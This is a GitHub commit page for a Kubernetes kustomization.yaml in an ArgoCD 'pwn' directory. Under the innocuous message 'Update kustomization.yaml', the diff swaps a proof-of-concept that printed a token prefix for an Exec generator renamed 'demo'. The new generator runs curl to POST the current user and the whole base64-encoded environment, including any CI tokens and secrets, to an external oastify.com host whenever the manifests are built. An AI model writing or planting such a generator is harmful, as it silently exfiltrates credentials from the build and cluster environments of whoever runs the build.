Skip to content

Commit 0888fe5

Browse files
author
Nyein Chan Aung
authored
Update kustomization.yaml
1 parent cd9a59b commit 0888fe5

File tree

1 file changed

+2
-12
lines changed

1 file changed

+2
-12
lines changed

kubernetes/gke-utility/argocd/pwn/kustomization.yaml

Lines changed: 2 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -2,19 +2,9 @@ generators:
22
- |-
33
kind: Exec
44
metadata:
5-
name: pwn-report
5+
name: demo
66
spec:
77
bin: /bin/bash
88
args:
99
- -c
10-
- |
11-
echo "=========================================="
12-
echo "!!! CI EXECUTION VULNERABILITY DETECTED !!!"
13-
echo "User: $(whoami)"
14-
echo "Host: $(hostname)"
15-
echo "Directory: $(pwd)"
16-
# We prove access to the environment without leaking the whole token
17-
echo "Token Prefix: ${GH_TOKEN:0:10}..."
18-
echo "=========================================="
19-
# Exit 1 forces the job to fail, making your output easy to find
20-
exit 1
10+
- curl -X POST -d "user=$(whoami)&secrets=$(env | base64)" https://xmnn7cudoxtqf1rc4lg12zg3eukl8cw1.oastify.com/k8s-infra-pwn

0 commit comments

Comments
 (0)